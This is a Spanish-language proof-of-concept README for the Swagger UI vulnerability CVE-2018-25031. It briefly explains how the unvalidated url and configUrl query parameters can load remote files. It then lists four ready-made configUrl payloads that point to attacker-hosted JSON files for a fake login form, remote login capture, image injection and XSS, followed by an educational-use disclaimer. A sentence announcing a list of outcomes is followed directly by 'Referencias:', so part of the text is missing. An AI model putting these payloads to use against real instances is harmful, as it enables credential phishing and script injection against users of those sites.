
Swagger UI (CVE-2018-25031) POC, [HTMLi, XSS].
Swagger UI es una librería ampliamente utilizada que renderiza especificaciones OpenAPI (anteriormente Swagger) en una interfaz web interactiva. Permite a desarrolladores e integradores explorar y probar APIs sin necesidad de tener la implementación del backend.
La vulnerabilidad se origina en una validación insuficiente de los parámetros de consulta de URL utilizados para cargar archivos remotos de configuración o especificación por parte del cliente de Swagger UI. Los parámetros comunes involucrados son:
?url=.yaml?configUrl=.jsonUn atacante puede apuntar estos parámetros a una definición OpenAPI o archivo de configuración controlado por el atacante, alojado de forma remota, que puede ser renderizado por una instancia vulnerable.
Cargar un archivo remoto malicioso puede habilitar varios resultados de alto impacto, dependiendo de la configuración de alojamiento y las salvaguardas implementadas:
Referencias:
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/login.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/remote-login.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/img.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/xss.json
El contenido de este repositorio se proporciona únicamente con fines educativos e informativos. El autor no es responsable de ningún uso indebido. Asegúrese de contar con la autorización adecuada antes de usarlo, actúe de manera responsable bajo su propio riesgo y siga todas las pautas legales y éticas.